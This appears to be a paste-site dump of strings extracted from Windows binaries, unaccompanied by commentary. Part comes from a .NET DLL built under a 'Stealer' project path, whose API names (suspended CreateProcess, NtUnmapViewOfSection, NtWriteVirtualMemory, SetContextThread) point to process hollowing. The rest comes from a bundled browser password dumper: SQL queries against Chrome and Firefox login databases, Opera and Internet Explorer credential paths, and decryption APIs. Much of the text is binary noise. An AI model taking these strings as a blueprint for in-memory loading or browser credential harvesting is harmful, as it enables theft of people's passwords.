· 8 years ago · Jun 19, 2018, 08:22 AM
1!This program cannot be run in DOS mode.
2v2.0.50727
3CMemoryExecute.dll
4CMemoryExecute
5CONTEXT_FULL
6CREATE_SUSPENDED
7MEM_COMMIT
8MEM_RESERVE
9PAGE_EXECUTE_READWRITE
10IMAGE_DOS_SIGNATURE
11IMAGE_NT_SIGNATURE
12CreateProcess
13VirtualAllocEx
14NtUnmapViewOfSection
15NtWriteVirtualMemory
16NtGetContextThread
17NtSetContextThread
18NtResumeThread
19hostProcess
20optionalArguments
21lpApplicationName
22lpCommandLine
23lpProcessAttributes
24lpThreadAttributes
25bInheritHandles
26dwCreationFlags
27lpEnvironment
28lpCurrentDirectory
29lpStartupInfo
30lpProcessInfo
31flAllocationType
32lpBaseAddress
33lpNumberOfBytesWritten
34SuspendCount
35System.Reflection
36AssemblyTitleAttribute
37AssemblyDescriptionAttribute
38AssemblyConfigurationAttribute
39AssemblyCompanyAttribute
40AssemblyProductAttribute
41AssemblyCopyrightAttribute
42AssemblyTrademarkAttribute
43AssemblyCultureAttribute
44System.Runtime.InteropServices
45ComVisibleAttribute
46GuidAttribute
47AssemblyVersionAttribute
48AssemblyFileVersionAttribute
49System.Security.Permissions
50SecurityPermissionAttribute
51SecurityAction
52System.Diagnostics
53DebuggableAttribute
54DebuggingModes
55System.Runtime.CompilerServices
56CompilationRelaxationsAttribute
57RuntimeCompatibilityAttribute
58IsNullOrEmpty
59op_Explicit
60op_Equality
61DllImportAttribute
62kernel32.dll
63System.Security
64UnverifiableCodeAttribute
65CMemoryExecute
66Copyright
67$8fcd4931-91a2-4e18-849b-70de34ab75df
68WrapNonExceptionThrows
69System.Security.Permissions.SecurityPermissionAttribute, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
70SkipVerification
71C:\Users\Jovan\Documents\Visual Studio 2010\Projects\Stealer\CMemoryExecute\CMemoryExecute\obj\Release\CMemoryExecute.pdb
72_CorDllMain
73mscoree.dll
74VS_VERSION_INFO
75VarFileInfo
76Translation
77StringFileInfo
78FileDescription
79CMemoryExecute
80FileVersion
81InternalName
82CMemoryExecute.dll
83LegalCopyright
84Copyright
85OriginalFilename
86CMemoryExecute.dll
87ProductName
88CMemoryExecute
89ProductVersion
90Assembly Version
91!This program cannot be run in DOS mode.
92D$l+D$d@P3
93 t1Jt3JJt#
94L$,;L$4vr;L$
95Kt9Jt-Jt!Jt
96 !""##$%&&&&'(()*+,--./0012345667789:;<======>????@@@@@A>BCDEFFGHIJKfLMNOPQRfSTUVWXYZf[f\]^_`afbcdffffffffffeU
97Y9~8t$9~4~
98HtNHtCHtHH
999T$Pu&9T$$
100YYt-9_0t(V
101+TUVWXY4Z[\
102>]^_`abbcdaaefghijkllllllllmnmnopqrstuuvw
103HtiHt^HtSHtHHt=H
104MS Sans Serif
105WebBrowserPassView
106Apple Computer\Preferences\keychain.plist
107com.apple.Safari
108com.apple.WebKit2WebProcess
109SELECT origin_url, action_url, username_element, username_value, password_element, password_value, signon_realm, date_created from logins
110ShowGridLines
111SaveFilterIndex
112ShowInfoTip
113MarkOddEvenRows
114LoadPasswordsIE
115LoadPasswordsFirefox
116LoadPasswordsChrome
117LoadPasswordsOpera
118LoadPasswordsSafari
119LoadPasswordsSeaMonkey
120UseFirefoxProfileFolder
121UseFirefoxInstallFolder
122UseChromeProfileFolder
123UseOperaPasswordFile
124FirefoxProfileFolder
125FirefoxInstallFolder
126ChromeProfileFolder
127OperaPasswordFile
128"Account","Login Name","Password","Web Site","Comments"
129<meta http-equiv='content-type' content='text/html;charset=%s'>
130<table dir="rtl"><tr><td>
131<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>
132Aadvapi32.dll
133CredDeleteA
134CredEnumerateA
135CredEnumerateW
136crypt32.dll
137CryptUnprotectData
138CryptAcquireContextA
139CryptReleaseContext
140CryptCreateHash
141CryptGetHashParam
142CryptHashData
143CryptDestroyHash
144comctl32.dll
145InitCommonControlsEx
146Error: Cannot load the common control classes.
147 !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
148******""""""""""""""""""""
149@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@l
150LLLLLLLLLL
1510123456789ABCDEF0123456789abcdef
152
153SQLite format 3
1540123456789ABCDEF
155naturaleftouterightfullinnercross
156onoffalseyestruefull
157CREATE TABLE sqlite_master(
158 type text,
159 name text,
160 tbl_name text,
161 rootpage integer,
162 sql text
163777705555443332
1645555443332
1655555443332
166 5555443332
1675555443332
1685555443332
1695555443332
1705555443332
1715555443332
1725555443332
1735555443332
1745555443332
1755555443332
1765555443332
1775555443332
1785555443332
1795555443332
1805555443332
181MNOPQRSTUVWXYZ[\
18212MNOPmRSTUVWXYZ[\
183DEFGHIJKLMNOP
184RSTUVWXYZ[\
185RSTUVWXYZ[\
186DEFGHIJKLMNOPvRSTUVWXYZ[\
187abcdefVW12vtm
188h)jDEFGHIJKLMNOP
189RSTUVWXYZ[\
190DEFGHIJKLMNOP~RSTUVWXYZ[\
191nDEFGHIJKLMNOPvRSTUVWXYZ[\
192:DEFGHIJKLMNOP
193RSTUVWXYZ[\
194DEFGHIJKLMNOPwRSTUVWXYZ[\
195DEFGHIJKLMNOP
196RSTUVWXYZ[\
197DEFGHIJKLMNOP
198RSTUVWXYZ[\
199DEFGHIJKLMNOP
200RSTUVWXYZ[\
201DEFGHIJKLMNOP
202RSTUVWXYZ[\
203DEFGHIJKLMNOP
204RSTUVWXYZ[\
205DEFGHIJKLMNOP
206RSTUVWXYZ[\
207GHEFGHIJKLMNOP
208RSTUVWXYZ[\
209FGHIJKLMNOP
210RSTUVWXYZ[\
211REINDEXEDESCAPEACHECKEYBEFOREIGNOREGEXPLAINSTEADDATABASELECTABLEFTHENDEFERRABLELSEXCEPTRANSACTIONATURALTERAISEXCLUSIVEXISTSAVEPOINTERSECTRIGGEREFERENCESCONSTRAINTOFFSETEMPORARYUNIQUERYATTACHAVINGROUPDATEBEGINNERELEASEBETWEENOTNULLIKECASCADELETECASECOLLATECREATECURRENT_DATEDETACHIMMEDIATEJOINSERTMATCHPLANALYZEPRAGMABORTVALUESVIRTUALIMITWHENWHERENAMEAFTEREPLACEANDEFAULTAUTOINCREMENTCASTCOLUMNCOMMITCONFLICTCROSSCURRENT_TIMESTAMPRIMARYDEFERREDISTINCTDROPFAILFROMFULLGLOBYIFISNULLORDERESTRICTOUTERIGHTROLLBACKROWUNIONUSINGVACUUMVIEWINITIALLY
212!$).056;>ACENQV[_`eimuz
213)Q+e4"n-.1
214 ##%%&&))**,,//1122447788;;==>>@@CCEEFFIIJJLLOOQQRRTTWWXX[[]]^^aabbddgghhkkmmnnppssuuvvyyzz||
215SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\seamonkey.exe
216%programfiles%\Sea Monkey
217SOFTWARE\Mozilla
218%programfiles%\Mozilla Firefox
219SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_logins
220-signons.txt
221signons2.txt
222signons3.txt
223signons.sqlite
224netmsg.dll
225Unknown Error
226Error %d: %s
227kernel32.dll
228Microsoft_WinInet
229Microsoft_WinInet_
230@dllhost.exe
231taskhost.exe
232taskhostex.exe
233Containers
234ContainerId
235Container_%I64d
236AccessCount
237CreationTime
238ExpiryTime
239AccessedTime
240ModifiedTime
241Microsoft\Windows\WebCache\WebCacheV01.dat
242Microsoft\Windows\WebCache\WebCacheV24.dat
2430123456789ABCDEF
244Software\Microsoft\Internet Explorer\IntelliForms\Storage2
245https://www.google.com/accounts/servicelogin
246http://www.facebook.com/
247https://login.yahoo.com/config/login
248@internet explorer
249:stringdata
250wininetcachecredentials
251sysdatetimepick32
252TranslatorName
253TranslatorURL
254%%-%d.%ds
255<td bgcolor=#%s nowrap>%s
256<td bgcolor=#%s>%s
257<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s
258 bgcolor="%s"
259<table border="1" cellpadding="5">
260<font color="%s">%s</font>
261</table><p>
262<%s>%s</%s>
263<?xml version="1.0" ?>
264SysListView32
265/nosaveload
266report.html
267commdlg_FindReplace
268*.htm;*.html
269/savelangfile
270/deleteregkey
271@history.dat
272places.sqlite
273Mozilla\Profiles
274Mozilla\Firefox\Profiles
275Mozilla\SeaMonkey\Profiles
276Mozilla\SeaMonkey
277Mozilla\Firefox
278profiles.ini
279IsRelative
280Exception %8.8X at address %8.8X in module %s
281Registers:
282EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8X
283ESI=%8.8X EDI=%8.8X EBP=%8.8X ESP=%8.8X
284Stack Data: %s
285Code Data: %s
286sqlite3.dll
287mozsqlite3.dll
288NSS_Shutdown
289PK11_GetInternalKeySlot
290PK11_FreeSlot
291PK11_CheckUserPassword
292PK11_Authenticate
293PK11SDR_Decrypt
294NtQuerySystemInformation
295NtLoadDriver
296NtUnloadDriver
297NtOpenSymbolicLinkObject
298NtQuerySymbolicLinkObject
299NtQueryObject
300NtSuspendProcess
301NtResumeProcess
302Login Data
303Google\Chrome\User Data
304Google\Chrome SxS\User Data
305Opera\Opera\wand.dat
306Opera\Opera7\profile\wand.dat
307CreateToolhelp32Snapshot
308Module32First
309Module32Next
310Process32First
311Process32Next
312GetModuleBaseNameW
313EnumProcessModules
314GetModuleFileNameExW
315EnumProcesses
316GetModuleInformation
317\systemroot
318QueryFullProcessImageNameW
319GetProcessTimes
320pstorec.dll
321PStoreCreateInstance
322Ashell32.dll
323SHGetSpecialFolderPathW
324Start Menu
325Common Start Menu
326Common Programs
327Common Desktop
328Common Startup
329Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
330shlwapi.dll
331SHAutoComplete
332%2.2X%2.2X%2.2X
333<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
334<html><head>%s<title>%s</title></head>
335%s <h3>%s</h3>
336</body></html>
337 size="%d"
338 color="#%s"
339<font color="%s">
340<table border="1" cellpadding="5"><tr%s>
341 width="%s"
342<th%s>%s%s%s
343file is encrypted or is not a database
344bind or column index out of range
345auxiliary database format error
346authorization denied
347large file support is disabled
348library routine called out of sequence
349datatype mismatch
350constraint failed
351table contains no data
352locking protocol
353unable to open database file
354database or disk is full
355unknown operation
356database disk image is malformed
357disk I/O error
358interrupted
359attempt to write a readonly database
360database table is locked
361database is locked
362callback requested query abort
363access permission denied
364SQL logic error or missing database
365not an error
366foreign_keys
367recursive_triggers
368read_uncommitted
369omit_readlock
370writable_schema
371automatic_index
372reverse_unordered_selects
373checkpoint_fullfsync
374legacy_file_format
375empty_result_callbacks
376count_changes
377short_column_names
378full_column_names
379group_concat
380total_changes
381last_insert_rowid
382sqlite_compileoption_get
383sqlite_compileoption_used
384sqlite_source_id
385sqlite_version
386randomblob
387sqlite_attach
388sqlite_detach
389tbl,idx,stat
390sqlite_stat1
391sqlite_rename_parent
392sqlite_rename_trigger
393sqlite_rename_table
394current_timestamp
395%Y-%m-%d %H:%M:%S
396current_date
397current_time
398THREADSAFE=1
399TEMP_STORE=1
400OMIT_XFER_OPT
401OMIT_UTF16
402OMIT_TRACE
403OMIT_TEMPDB
404OMIT_TCL_VARIABLE
405OMIT_SHARED_CACHE
406OMIT_SCHEMA_VERSION_PRAGMAS
407OMIT_SCHEMA_PRAGMAS
408OMIT_QUICKBALANCE
409OMIT_PROGRESS_CALLBACK
410OMIT_PAGER_PRAGMAS
411OMIT_OR_OPTIMIZATION
412OMIT_MEMORYDB
413OMIT_LOAD_EXTENSION
414OMIT_INTEGRITY_CHECK
415OMIT_FLOATING_POINT
416OMIT_EXPLAIN
417OMIT_DATETIME_FUNCS
418OMIT_COMPOUND_SELECT
419OMIT_CHECK
420OMIT_BUILTIN_TEST
421OMIT_BETWEEN_OPTIMIZATION
422OMIT_AUTOVACUUM
423OMIT_AUTOINCREMENT
424OMIT_AUTHORIZATION
425failed to allocate %u bytes of memory
426failed memory resize %u to %u bytes
427922337203685477580
428API call with %s database connection pointer
429%s\etilqs_
430OsError 0x%x (%u)
431Recovered %d frames from WAL file %s
432out of memory
433foreign key constraint failed
434API called with finalized prepared statement
435API called with NULL prepared statement
436string or blob too big
437unable to use function %s in the requested context
438abort at %d in [%s]: %s
439constraint failed at %d in [%s]
440cannot open savepoint - SQL statements in progress
441no such savepoint: %s
442cannot %s savepoint - SQL statements in progress
443cannot rollback transaction - SQL statements in progress
444cannot commit transaction - SQL statements in progress
445cannot start a transaction within a transaction
446cannot rollback - no transaction is active
447cannot commit - no transaction is active
448database schema has changed
449sqlite_master
450SELECT name, rootpage, sql FROM '%q'.%s WHERE %s ORDER BY rowid
451too many levels of trigger recursion
452cannot change %s wal mode from within a transaction
453statement aborts at %d: [%s] %s
454misuse of aliased aggregate %s
455no such column
456ambiguous column name
457%s: %s.%s.%s
458misuse of aggregate function %.*s()
459no such function: %.*s
460wrong number of arguments to function %.*s()
461%r %s BY term out of range - should be between 1 and %d
462too many terms in ORDER BY clause
463%r ORDER BY term does not match any column in the result set
464too many terms in %s BY clause
465a GROUP BY clause is required before HAVING
466aggregate functions are not allowed in the GROUP BY clause
467Expression tree is too large (maximum depth %d)
468variable number must be between ?1 and ?%d
469too many SQL variables
470too many columns in %s
471oversized integer: %s%s
472misuse of aggregate: %s()
473unknown function: %.*s()
474RAISE() may only be used within a trigger-program
475%.*s"%w"%s
476%s%.*s"%w"
477%s OR name=%Q
478type='trigger' AND (%s)
479tbl_name=%Q
480there is already another table or index with this name: %s
481table %s may not be altered
482view %s may not be altered
483UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
484UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
485UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
486Cannot add a PRIMARY KEY column
487Cannot add a UNIQUE column
488Cannot add a REFERENCES column with non-NULL default value
489Cannot add a NOT NULL column with default value NULL
490Cannot add a column with non-constant default
491UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q
492virtual tables may not be altered
493Cannot add a column to a view
494sqlite_altertab_%s
495CREATE TABLE %Q.%s(%s)
496DELETE FROM %Q.%s WHERE tbl=%Q
497SELECT tbl, idx, stat FROM %Q.sqlite_stat1
498invalid name: "%s"
499too many attached databases - max %d
500cannot ATTACH database within transaction
501database %s is already in use
502database is already attached
503attached databases must use the same text encoding as main database
504unable to open database: %s
505no such database: %s
506cannot detach database %s
507cannot DETACH database within transaction
508database %s is locked
509%s %T cannot reference objects in database %s
510no such view
511no such table
512corrupt database
513unknown database %T
514object name reserved for internal use: %s
515table %T already exists
516there is already an index named %s
517too many columns on %s
518duplicate column name: %s
519default value of column [%s] is not constant
520table "%s" has more than one primary key
521no such collation sequence: %s
522CREATE TABLE
523CREATE %s %.*s
524UPDATE %Q.%s SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q WHERE rowid=#%d
525tbl_name='%q'
526parameters are not allowed in views
527view %s is circularly defined
528table %s may not be dropped
529use DROP TABLE to delete table %s
530use DROP VIEW to delete view %s
531DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'
532DELETE FROM %Q.sqlite_stat1 WHERE tbl=%Q
533foreign key on %s should reference only one column of table %T
534number of columns in foreign key does not match the number of columns in the referenced table
535unknown column "%s" in foreign key definition
536indexed columns are not unique
537table %s may not be indexed
538views may not be indexed
539virtual tables may not be indexed
540there is already a table named %s
541index %s already exists
542sqlite_autoindex_%s_%d
543table %s has no column named %s
544conflicting ON CONFLICT clauses specified
545CREATE%s INDEX %.*s
546INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
547name='%q' AND type='index'
548no such index: %S
549index associated with UNIQUE or PRIMARY KEY constraint cannot be dropped
550DELETE FROM %Q.%s WHERE name=%Q AND type='index'
551DELETE FROM %Q.sqlite_stat1 WHERE idx=%Q
552a JOIN clause is required before %s
553unable to open a temporary database file for storing temporary tables
554unable to identify the object to be reindexed
555table %s may not be modified
556cannot modify %s because it is a view
557rows deleted
558integer overflow
559LIKE or GLOB pattern too complex
560ESCAPE expression must be a single character
561foreign key mismatch
562table %S has %d columns but %d values were supplied
563%d values for %d columns
564table %S has no column named %s
565rows inserted
566%s.%s may not be NULL
567PRIMARY KEY must be unique
568 are not unique
569 is not unique
570automatic extension loading failed: %s
571SET DEFAULT
572foreign_key_list
573case_sensitive_like
574compile_options
575compile_option
576wal_checkpoint
577wal_autocheckpoint
578malformed database schema (%s)
579invalid rootpage
580unsupported file format
581SELECT name, rootpage, sql FROM '%q'.%s ORDER BY rowid
582statement too long
583unknown or unsupported join type: %T %T%s%T
584RIGHT and FULL OUTER JOINs are not currently supported
585a NATURAL join may not have an ON or USING clause
586cannot have both ON and USING clauses in the same join
587cannot join using column %s - column not present in both tables
588only a single result allowed for a SELECT that is part of an expression
589no such index: %s
590sqlite_subquery_%p_
591no such table: %s
592no tables specified
593too many columns in result set
594DISTINCT aggregates must have exactly one argument
595temporary trigger may not have qualified name
596cannot create triggers on virtual tables
597trigger %T already exists
598cannot create trigger on system table
599cannot create %s trigger on view: %S
600cannot create INSTEAD OF trigger on table: %S
601INSERT INTO %Q.%s VALUES('trigger',%Q,%Q,0,'CREATE TRIGGER %q')
602type='trigger' AND name='%q'
603no such trigger: %S
604no such column: %s
605rows updated
606cannot VACUUM from within a transaction
607cannot VACUUM - SQL statements in progress
608ATTACH ':memory:' AS vacuum_db;
609ATTACH '' AS vacuum_db;
610PRAGMA vacuum_db.synchronous=OFF
611BEGIN EXCLUSIVE;
612SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence' AND rootpage>0
613SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %'
614SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %'
615SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
616SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
617SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
618INSERT INTO vacuum_db.sqlite_master SELECT type, name, tbl_name, rootpage, sql FROM main.sqlite_master WHERE type='view' OR type='trigger' OR (type='table' AND rootpage=0)
619CREATE VIRTUAL TABLE %T
620UPDATE %Q.%s SET type='table', name=%Q, tbl_name=%Q, rootpage=0, sql=%Q WHERE rowid=#%d
621name='%q' AND type='table'
622vtable constructor failed: %s
623vtable constructor did not declare schema: %s
624no such module: %s
625auto-index
626table %s: xBestIndex returned an invalid plan
627at most %d tables in a join
628cannot use index: %s
629parser stack overflow
630near "%T": syntax error
631too many arguments on function %T
632qualified table names are not allowed on INSERT, UPDATE, and DELETE statements within triggers
633the INDEXED BY clause is not allowed on UPDATE or DELETE statements within triggers
634the NOT INDEXED clause is not allowed on UPDATE or DELETE statements within triggers
635unrecognized token: "%T"
6362011-01-28 17:03:50 ed759d5a9edb3bba5f48f243df47be29e3fe8cd7
637unable to close due to unfinalised statements
638unable to close due to unfinished backup operation
639unknown error
640unable to delete/modify user-function due to active statements
641unknown database: %s
642unable to delete/modify collation sequence due to active statements
643no such vfs: %s
644database corruption at line %d of [%.10s]
645misuse at line %d of [%.10s]
646cannot open file at line %d of [%.10s]
647\sqlite3.dll
648\mozsqlite3.dll
649sqlite3_open
650sqlite3_prepare
651sqlite3_step
652sqlite3_column_text
653sqlite3_column_int
654sqlite3_column_int64
655sqlite3_finalize
656sqlite3_close
657sqlite3_exec
658\StringFileInfo\
659\VarFileInfo\Translation
660%4.4X%4.4X
661ProductName
662FileDescription
663FileVersion
664ProductVersion
665CompanyName
666InternalName
667LegalCopyright
668OriginalFileName
669log profile
670vaultcli.dll
671VaultOpenVault
672VaultCloseVault
673VaultEnumerateItems
674VaultGetInformation
675VaultGetItem
676f:\Projects\VS2005\WebBrowserPassView\Release\WebBrowserPassView.pdb
677_snwprintf
678??2@YAPAXI@Z
679??3@YAXPAX@Z
680msvcrt.dll
681__dllonexit
682_XcptFilter
683__wgetmainargs
684__setusermatherr
685_adjust_fdiv
686__p__commode
687__p__fmode
688__set_app_type
689_controlfp
690_except_handler3
691ImageList_ReplaceIcon
692ImageList_Create
693ImageList_AddMasked
694ImageList_SetImageCount
695CreateStatusWindowW
696CreateToolbarEx
697COMCTL32.dll
698GetFileVersionInfoW
699VerQueryValueW
700GetFileVersionInfoSizeW
701VERSION.dll
702FindCloseUrlCache
703FindNextUrlCacheEntryW
704FindFirstUrlCacheEntryW
705WININET.dll
706GetFileSize
707SystemTimeToFileTime
708CloseHandle
709FileTimeToLocalFileTime
710DeleteFileW
711CreateFileW
712WideCharToMultiByte
713FreeLibrary
714LoadLibraryW
715GetProcAddress
716GetLastError
717SetFilePointerEx
718CompareFileTime
719GetCurrentDirectoryW
720ExpandEnvironmentStringsW
721MultiByteToWideChar
722GlobalLock
723FormatMessageW
724GetVersionExW
725GetTempFileNameW
726FindFirstFileW
727GetFileAttributesW
728GetWindowsDirectoryW
729GetModuleHandleW
730SetFilePointer
731GetModuleFileNameW
732LockResource
733FindResourceW
734LoadResource
735GlobalAlloc
736GlobalUnlock
737LoadLibraryExW
738GetTempPathW
739FindNextFileW
740SizeofResource
741GetFileTime
742MapViewOfFile
743UnmapViewOfFile
744CreateFileMappingW
745GetCurrentProcess
746DuplicateHandle
747OpenProcess
748GetCurrentProcessId
749WritePrivateProfileStringW
750GetPrivateProfileIntW
751EnumResourceNamesW
752GetPrivateProfileStringW
753GetStdHandle
754SetErrorMode
755ReadProcessMemory
756ExitProcess
757SetCurrentDirectoryW
758Process32FirstW
759Process32NextW
760CreateToolhelp32Snapshot
761EnumResourceTypesW
762UnlockFileEx
763GetTempPathA
764GetSystemTimeAsFileTime
765FormatMessageA
766LockFileEx
767GetSystemTime
768EnterCriticalSection
769AreFileApisANSI
770GetFullPathNameW
771GetDiskFreeSpaceW
772DeleteFileA
773GetFullPathNameA
774InitializeCriticalSection
775CreateFileA
776GetDiskFreeSpaceA
777GetSystemInfo
778SetEndOfFile
779LeaveCriticalSection
780GetFileAttributesA
781QueryPerformanceCounter
782GetFileAttributesExW
783DeleteCriticalSection
784InterlockedCompareExchange
785UnlockFile
786FlushFileBuffers
787GetTickCount
788GetModuleHandleA
789GetStartupInfoW
790KERNEL32.dll
791ChildWindowFromPoint
792LoadCursorW
793GetSysColorBrush
794ShowWindow
795SetWindowTextW
796SetDlgItemInt
797UpdateWindow
798SetDlgItemTextW
799GetDlgItemTextW
800GetClientRect
801GetSystemMetrics
802DeferWindowPos
803CreateWindowExW
804GetWindowRect
805SendDlgItemMessageW
806GetDlgItemInt
807SetWindowLongW
808GetDlgItem
809InvalidateRect
810GetWindowPlacement
811LoadAcceleratorsW
812DefWindowProcW
813SendMessageW
814PostMessageW
815RegisterClassW
816MessageBoxW
817TranslateAcceleratorW
818SetWindowPlacement
819LoadImageW
820GetWindowLongW
821MoveWindow
822GetMenuStringW
823GetMenuItemCount
824CheckMenuItem
825CloseClipboard
826GetCursorPos
827SetClipboardData
828GetSysColor
829EnableWindow
830MapWindowPoints
831GetSubMenu
832EmptyClipboard
833EnableMenuItem
834GetClassNameW
835OpenClipboard
836GetWindowTextW
837ModifyMenuW
838GetMenuItemInfoW
839GetDlgCtrlID
840DestroyMenu
841DialogBoxParamW
842CreateDialogParamW
843EnumChildWindows
844DestroyWindow
845LoadStringW
846SetWindowPos
847PostQuitMessage
848GetMessageW
849DrawTextExW
850IsDialogMessageW
851TranslateMessage
852BeginDeferWindowPos
853DispatchMessageW
854EndDeferWindowPos
855RegisterWindowMessageW
856TrackPopupMenu
857USER32.dll
858CreateFontIndirectW
859DeleteObject
860SetTextColor
861GetDeviceCaps
862SelectObject
863GetStockObject
864SetBkColor
865GetTextExtentPoint32W
866GetOpenFileNameW
867GetSaveFileNameW
868comdlg32.dll
869RegCloseKey
870RegEnumValueW
871RegOpenKeyExW
872RegEnumKeyExW
873RegQueryValueExW
874ADVAPI32.dll
875ShellExecuteW
876SHGetFileInfoW
877SHGetMalloc
878SHGetPathFromIDListW
879SHBrowseForFolderW
880SHELL32.dll
881CoUninitialize
882CoInitialize
883CoTaskMemFree
884abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
885abe2869f-9b47-4cd9-a358-c22904dba7f7
886wwwwwwwwwwwwwwwwwwww~gww
887wwwwwwwwwwwwwwN
888wwwwww~fww
889wwwwwwwwwwp
890wwwwwwwwwwxwwN
891wwwwpw~fhw
892wwwwwwwwwwx
893wwwwwwwwwwx
894wwwwwwwwww
895wwwwwwwwwx
896wwwwwwwwwx
897wwwwwwwwwx
898wwwwwwwwww
899wwwwwwwwwwx
900wwwwwwwwwwx
901wwwwwwwwwwx
902xpwwwwwwwwwwwx
903wwwwwwwwwwwp
904wwwwwwwwwwwx
905wwwwwwwwwwwwwwwwwwwwwwww
906wwwwwwwwwww(
907...(+++JFGG
908&Save Selected Items
909&Properties
910&Copy Selected Items
911Copy &Password
912Select &All
913Deselect All
914Show &Grid Lines
915Show &Tooltips
916Mark &Odd/Even Rows
917&HTML Report - All Items
918HTML R&eport - Selected Items
919Choose Colum&ns
920&Auto Size Columns
921&Advanced Options
922&Save Selected Items
923&Copy Selected Items
924Copy &Password
925HTML Report - All Items
926HTML Report - Selected Items
927Choose Colum&ns
928&Auto Size Columns
929&Properties
930Properties
931MS Sans Serif
932Exception !
933MS Sans Serif
934Copy Exception
935Terminate Application
936The following application error has occurred:
937If this problem persists, copy the above exception information to the clipboard, and send it to the author of this software.
938Advanced Options
939MS Shell Dlg
940Load Passwords From...
941Internet Explorer
942Google Chrome
943Mozilla Firefox
944Firefox Options
945Master password:
946Firefox Profile:
947Firefox Installation:
948Chrome Options
949User Data Folder:
950Opera Options
951wand.dat file:
952MS Sans Serif
953Translation:
954Column Settings
955MS Shell Dlg
956SysListView32
957Move &Down
958Check the columns that you would like to make visible. Use the Move Up and Move Down buttons to reorder the columns
959Width of selected column (in pixels):
960%d Passwords
961, %d Selected
962Created by using
963Select a filename to save
964Web Browser Passwords%Choose another Firefox profile folder)Choose the installation folder of Firefox,Choose another profile of Chrome Web browser,Choose the password file of Opera (wand.dat)
965Loading... %d
966Tab Delimited Text File
967Tabular Text File
968HTML File - Horizontal
969HTML File - Vertical
970Comma Delimited Text File
971KeePass csv file
972Opera Password File
973Internet Explorer 4.0 - 6.0
974Internet Explorer 7.0 - 9.0
975Firefox 1.x
976Firefox 2.x
977Firefox 3.0
978Internet Explorer 10.0
979Web Browser
980Password Strength
981User Name Field
982Password Field
983Very Strong
984VS_VERSION_INFO
985StringFileInfo
986CompanyName
987FileDescription
988WebBrowserPassView
989FileVersion
990InternalName
991WebBrowserPassView
992LegalCopyright
993Copyright
994 2011 - 2013 Nir Sofer
995OriginalFilename
996WebBrowserPassView.exe
997ProductName
998WebBrowserPassView
999ProductVersion
1000VarFileInfo
1001Translation
1002<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
1003 <dependency>
1004 <dependentAssembly>
1005 <assemblyIdentity type="Win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>
1006 </dependentAssembly>
1007 </dependency>
1008</assembly>PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGX`
1009<<<Obsolete>>
1010AddTrust AB1&0$
1011AddTrust External TTP Network1"0
1012AddTrust External CA Root0
1013050607080910Z
1014200530104838Z0
1015Salt Lake City1
1016The USERTRUST Network1!0
1017http://www.usertrust.com1
1018UTN-USERFirst-Object0
10193http://crl.usertrust.com/AddTrustExternalCARoot.crl05
1020http://ocsp.usertrust.com0
1021Salt Lake City1
1022The USERTRUST Network1!0
1023http://www.usertrust.com1
1024UTN-USERFirst-Object0
1025100510000000Z
1026150510235959Z0~1
1027Greater Manchester1
1028COMODO CA Limited1$0"
1029COMODO Time Stamping Signer0
10301http://crl.usertrust.com/UTN-USERFirst-Object.crl05
1031http://ocsp.usertrust.com0
1032Salt Lake City1
1033The USERTRUST Network1!0
1034http://www.usertrust.com1
1035UTN-USERFirst-Object0
1036110824000000Z
1037200530104838Z0{1
1038Greater Manchester1
1039COMODO CA Limited1!0
1040COMODO Code Signing CA 20
10411http://crl.usertrust.com/UTN-USERFirst-Object.crl0t
10421http://crt.usertrust.com/UTNAddTrustObject_CA.crt0%
1043http://ocsp.usertrust.com0
1044Greater Manchester1
1045COMODO CA Limited1!0
1046COMODO Code Signing CA 20
1047120917000000Z
